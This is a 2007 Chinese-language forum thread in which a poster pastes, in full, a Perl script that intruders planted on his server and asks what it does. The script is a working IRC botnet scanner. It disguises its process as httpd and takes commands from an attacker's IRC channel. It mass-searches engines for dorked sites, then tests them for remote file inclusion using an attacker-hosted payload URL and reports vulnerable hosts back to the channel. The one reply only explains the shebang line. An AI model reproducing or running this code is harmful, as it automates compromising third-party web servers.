史萊姆論壇

返回   史萊姆論壇 > 專業主討論區 > 程式語言討論區
忘記密碼?
論壇說明

歡迎您來到『史萊姆論壇』 ^___^

您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的!

請點擊這裡:『註冊成為我們的一份子!』

Google 提供的廣告


發文 回覆
 
主題工具 顯示模式
舊 2007-10-01, 06:11 PM   #1
ppp0600
長老會員
 
ppp0600 的頭像
榮譽勳章
UID - 19602
在線等級: 級別:72 | 在線時長:5493小時 | 升級還需:128小時級別:72 | 在線時長:5493小時 | 升級還需:128小時
註冊日期: 2002-12-30
住址: 混亂地獄
文章: 10257
精華: 0
現金: 249 金幣
資產: 214383155 金幣
預設 疑問 - 這程式是做什麼用的?

因為有某些無聊的人放在我的主機裡(是被入侵放進來的)
我當下就給主機做了一些設定,順便將檔案貼來這裡,
懂得人可以參考看看,要是不行請修改或刪掉

順便問一下,#!/usr/bin/perl 這個設定路徑跟我主機並不相同,請問這程式還能執行嗎?
(因為當初設定時我很笨都設錯了,就將錯就錯用到現在

語法:
#!/usr/bin/perl
#Alex was Here!

use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;


#setting bot scan

my $processo = "/usr/local/apache/bin/httpd -DSSL";
my $cmd="http://wespenval.nl/bestel/images/canboy1";
my $server="irc.mildnet.org";
my $porta="6667";
my $canalee="#kbri";

if ($ARGV[0]) {
$sitee = $ARGV[0];
}

if ($ARGV[1]) {
$server = $ARGV[1];
}

if ($ARGV[2]) {
$porta = $ARGV[2];
}

if ($ARGV[3]) {
$canale = $ARGV[3];
}

my $nick="kbri^scan".$sitee;
my $verbot = "kbri@mildnet.org bot script";
my $pid=fork;
exit if $pid;
$0="$processo"."\0"x16;
my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Proto=>"tcp") or die "Can not connect on server!\n";
$sk->autoflush(1);

#gak perlu diedit lagi

print $sk "NICK $nick\r\n";
print $sk "USER Pbot 8 *  : Pbot : Pbot@google.it : Gbot :Sbot\r\n";
print $sk "JOIN $canale\r\n";
print $sk "JOIN $canalee\r\n";

while($line = <$sk>){

$line =~ s/\r\n$//;
if ($line=~ /^PING \:(.*)/)
{
print "PONG :$1";
print $sk "PONG :$1";
}

#if ($line=~ /PRIVMSG $canalee :!ouut/){
#stampa($sk, "QUIT");
#}

if ($line=~ /PRIVMSG $canalee :!help/){
stampa($sk, "PRIVMSG $canalee :9[12Perl Bot Scanner By 5Tajammu Team 12http://tpea.org.tw9]5");
stampa($sk, "PRIVMSG $canalee :9[12gunakan9]5 9!scan <bug> <dork>");
stampa($sk, "PRIVMSG $canalee :9[12gunakan9]5 9!search");
stampa($sk, "PRIVMSG $canalee :9[12gunakan9]5 9!milw0rm");
stampa($sk, "PRIVMSG $canalee :9[12gunakan9]5 9!info");
stampa($sk, "PRIVMSG $canalee :9[12Perl Bot Scanner By 5Tajammu Team 12http://tpea.org.tw9]5");
}

if ($line=~ /PRIVMSG $canalee :!info/){
my $sysos = `uname -sr`;
my $uptime = `uptime`;
if ($sysos =~ /freebsd/i ) {
$sysname = `hostname`;
$memory = `expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`;
$swap = `$toploc | grep -i swap | cut -f2 -d" " | cut -f1 -d"M"`;
chomp($memory);
chomp($swap);
}
elsif ( $sysos =~ /linux/i ) {
$sysname = `hostname -f`;
$memory = `free -m |grep -i mem | awk '{print \$2}'`;
$swap = `free -m |grep -i swap | awk '{print \$2}'`;
chomp($swap);
chomp($memory);
}
else {
$sysname ="No Found";;
$memory ="No found";
$swap ="No Found";
}
$uptime=~s/\n//g;
$sysname=~s/\n//g;
$sysos=~s/\n//g;
stampa($sk, "PRIVMSG $canalee :9[12Info9]5Server: $server :| - $porta");
stampa($sk, "PRIVMSG $canalee :9[12Info9]5SO/Hostname:12 $sysos - $sysname");
stampa($sk, "PRIVMSG $canalee :9[12Info9]5Process/PID:12 $processo - $$");
stampa($sk, "PRIVMSG $canalee :9[12Info9]5Uptime:12 $uptime");
stampa($sk, "PRIVMSG $canalee :9[12Info9]5Memory/Swap:12 $memory - $swap");
stampa($sk, "PRIVMSG $canalee :9[12Info9]5Perl Version/BOT:12 $] - $verbot");
}


if ($line=~ /PRIVMSG $canalee :!search/){
stampa($sk, "PRIVMSG $canalee :9[12powered9]5 by Google, Yahoo, MsN, Altavista, Libero, AllTheWeb, AsK, UoL, AoL");
}

if ($line=~ /PRIVMSG $canalee :!milw0rm/){
my @ltt=();
my @bug=();
my $x;
my $page="";
my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$socke>;
$page="@r";
close($socke);
while ($page =~  m/<title>(.*)</g){
$x = $1;
if ($x =~ /\<\;/) {
$x =~ s/\<\;/</g;
}
if ($x !~ /milw0rm/) {
push (@bug,$x);
}}
while ($page =~  m/<link.*expl.*([0-9]...)</g) {
if ($1 !~ m/milw0rm.com|exploits|en/){
push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
}}
stampa($sk, "PRIVMSG $canalee :9[12MilW0rm9]5 MilW0rm  Bugs");
foreach $x (0..(@ltt - 1)) {
stampa($sk, "PRIVMSG $canalee :9[12MilW0rm9]5 MilW0rm  Bugs $bug[$x] - $ltt[$x] ");
sleep 1;
}}


if ($line=~ /PRIVMSG $canalee :!scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;

if ($ARGV[0]) {$dork.="+site:".$ARGV[0];}
my $contatore=0;
my ($type,$space);
my %hosts;
stampa($sk, "PRIVMSG $canalee :9[12Search9]14 for $dork $bug");
my @glist=&google($dork);
my @ylist=&yahoo($dork);
my @mlist=&msn($dork);
my @alist=&altavista($dork);
my @llist=&libero($dork);
my @allist=&alltheweb($dork);
my @asklist=&ask($dork);
my @uollist=&uol($dork);
my @aollist=&aol($dork);
stampa($sk, "PRIVMSG $canalee :9[12Search9]14 Google ".scalar(@glist)." ");
stampa($sk, "PRIVMSG $canalee :9[12Search9]14 Yahoo ".scalar(@ylist)." ");
stampa($sk, "PRIVMSG $canalee :9[12Search9]14 MsN ".scalar(@mlist)." ");
stampa($sk, "PRIVMSG $canalee :9[12Search9]14 Altavista ".scalar(@alist)." ");
stampa($sk, "PRIVMSG $canalee :9[12Search9]14 Libero ".scalar(@llist)." ");
stampa($sk, "PRIVMSG $canalee :9[12Search9]14 All-The-Web ".scalar(@allist)." ");
stampa($sk, "PRIVMSG $canalee :9[12Search9]14 Ask ".scalar(@asklist)." ");
stampa($sk, "PRIVMSG $canalee :9[12Search9]14 UoL ".scalar(@uollist)." ");
stampa($sk, "PRIVMSG $canalee :9[12Search9]14 AoL ".scalar(@aollist)." ");
push(my @tot, @glist, @ylist, @mlist, @alist, @llist, @allist,@asklist,@uollist,@aollist);
stampa($sk, "PRIVMSG $canalee :9[12Search9]14 Total ".scalar(@tot)." ");
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canalee :9[12Script9]14 Target ".scalar(@puliti)." ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %30==0){
stampa($sk, "PRIVMSG $canalee :9[12Search9]14 ".$contatore." dari ".$uni. " situs");
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canalee :9[12Search9]14 Selesai [9Dork]14 $dork");
}
my $test="http://".$sito.$bug.$cmd."?";
my $print="http://".$sito.$bug."http://wespenval.nl/bestel/y"."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /Mic22/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
stampa($sk, "PRIVMSG $canalee :9[12Hajar9]14[3OFF14]12 $print ");
stampa($sk, "PRIVMSG PINUXER : $print ");
}}
elsif($re =~ /Mic22/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
stampa($sk, "PRIVMSG $canalee :9[12Hajar9]14[4ON14]12 $print ");
}}
}}}
exit;
}}}

sub stampa()
{
if ($#_ == '1') {
my $sk = $_[0];
print $sk "$_[1]\n";
} else {
print $sk "$_[0]\n";
}}

sub os(){
my $sito=$_[0];
my $Res=query($sito);
my $type;
my $free;
my $str;
while($Res=~m/<br>OSTYPE:(.+?)\<br>/g){
$type=$1;
}
while($Res=~m/<br>Free:(.+?)\<br>/g){
$free=$1;
}
$str=$type.",".$free;
return $str;
}

sub aol(){
my @lst;
my $key = $_[0];
for($b=1;$b<=100;$b++){
my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
my $Res=query($AoL);
while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub google(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.it/search?hl=it&q=".key($key)."&num=100&filter=0&start=".$b);
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub yahoo(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=100){
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\<em class=yschurl>(.+?)\<\/em>/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub altavista(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while($Res=~m/<span class=ngrn>(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub msn(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE");
my $Res=query($MsN);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub libero(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0,$pg=0; $i<=1000; $i+=10,$pg++)
{
my $Lib=("http://arianna.libero.it/search/abin/integrata.cgi?s=1&pag=".$pg."&start=".$i."&query=".key($key));
my $Res=query($Lib);
while($Res =~ m/<a class=\"testoblu\" href=\"?http:\/\/([^>\"]*)\//g){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub ask(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=10)
{
my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
my $Res=query($Ask);
while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
my $k=$3;
$k=~s/[\"\ ]//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub alltheweb()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=100)
{
my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
my $Res=query($all);
while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub uol(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);
my $Res=query($UoL);
while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
my $k=$1;
if($k!~/busca|uol|yahoo/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub links()
{
my @l;
my $link=$_[0];
my $host=$_[0];
my $hdir=$_[0];
$hdir=~s/(.*)\/[^\/]*$/\1/;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host.="/";
$link.="/";
$hdir.="/";
$host=~s/\/\//\//g;
$hdir=~s/\/\//\//g;
$link=~s/\/\//\//g;
push(@l,$link,$host,$hdir);
return @l;
}

sub geths(){
my $host=$_[0];
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
return $host;
}

sub key(){
my $chiave=$_[0];
$chiave =~ s/ /\+/g;
$chiave =~ s/:/\%3A/g;
$chiave =~ s/\//\%2F/g;
$chiave =~ s/&/\%26/g;
$chiave =~ s/\"/\%22/g;
$chiave =~ s/,/\%2C/g;
$chiave =~ s/\\/\%5C/g;
return $chiave;
}

sub query($){
my $url=$_[0];
$url=~s/http:\/\///;
my $host=$url;
my $query=$url;
my $page="";
$host=~s/href=\"?http:\/\///;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
close($sock);
};
return $page;
}

sub unici{
my @unici = ();
my %visti = ();
foreach my $elemento ( @_ )
{
next if $visti{ $elemento }++;
push @unici, $elemento;

}
return @unici;
}
ppp0600 目前離線  
送花文章: 26716, 收花文章: 7682 篇, 收花: 38377 次
回覆時引用此帖
向 ppp0600 送花的會員:
wen242 (2007-10-04)
感謝您發表一篇好文章
舊 2007-10-02, 10:17 PM   #2 (permalink)
協調管理員
 
飛鳥 的頭像
榮譽勳章
UID - 23073
在線等級: 級別:72 | 在線時長:5513小時 | 升級還需:108小時級別:72 | 在線時長:5513小時 | 升級還需:108小時
註冊日期: 2003-01-07
VIP期限: 無限期
住址: 史萊姆團隊
文章: 7199
精華: 11
現金: 837 金幣
資產: 260029 金幣
預設

這是perl的程式,那個#!/usr/.....是linux下的路徑,在linux下如果沒有副檔名的可執行檔,會以第一行宣告執行此一檔的的主程式路徑

而在windows下是以副檔名來決定執行此檔的主程式為何

那個檔案的副檔名應該是.pl,在windows下一般也叫作CGI程式
windows沒辦法直接執行,必須要安裝ActivePerl才可以執行perl或.pl的程式
路徑會在c:\perl\......

如果沒裝,這個程式應該對你的windows沒什麼影響
__________________
http://flybird017.googlepages.com/quok.gif http://flybird020.googlepages.com/new321.gif
寶貝你我的地球
, 請 少開電器,減少溫室氣體排放外,多種植植物,減少列印, 多用背面,丟棄時做垃圾分類。

http://netgames123.googlepages.com/tobikeways.jpg

飛鳥 目前離線  
送花文章: 11706, 收花文章: 3363 篇, 收花: 16453 次
回覆時引用此帖
發文 回覆



發表規則
不可以發文
不可以回覆主題
不可以上傳附加檔案
不可以編輯您的文章

論壇啟用 BB 語法
論壇啟用 表情符號
論壇啟用 [IMG] 語法
論壇禁用 HTML 語法
Trackbacks are 禁用
Pingbacks are 禁用
Refbacks are 禁用

相似的主題
主題 主題作者 討論區 回覆 最後發表
轉貼 - 我喜歡妳...推推^^ superxboy 轉帖文章區 15 2007-08-21 04:52 AM
系統 - 常見連接阜的關閉 psac 作業系統操作技術文件 6 2006-09-08 08:42 AM
WINDOWS XP一開機就要等個5-10分鐘才能作業 099nono 一般電腦疑難討論區 28 2006-04-14 02:19 PM
Win98 怎麼灌 86258354 軟體應用問題討論區 7 2005-12-06 07:18 PM


所有時間均為台北時間。現在的時間是 03:04 PM


Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.


SEO by vBSEO 3.6.1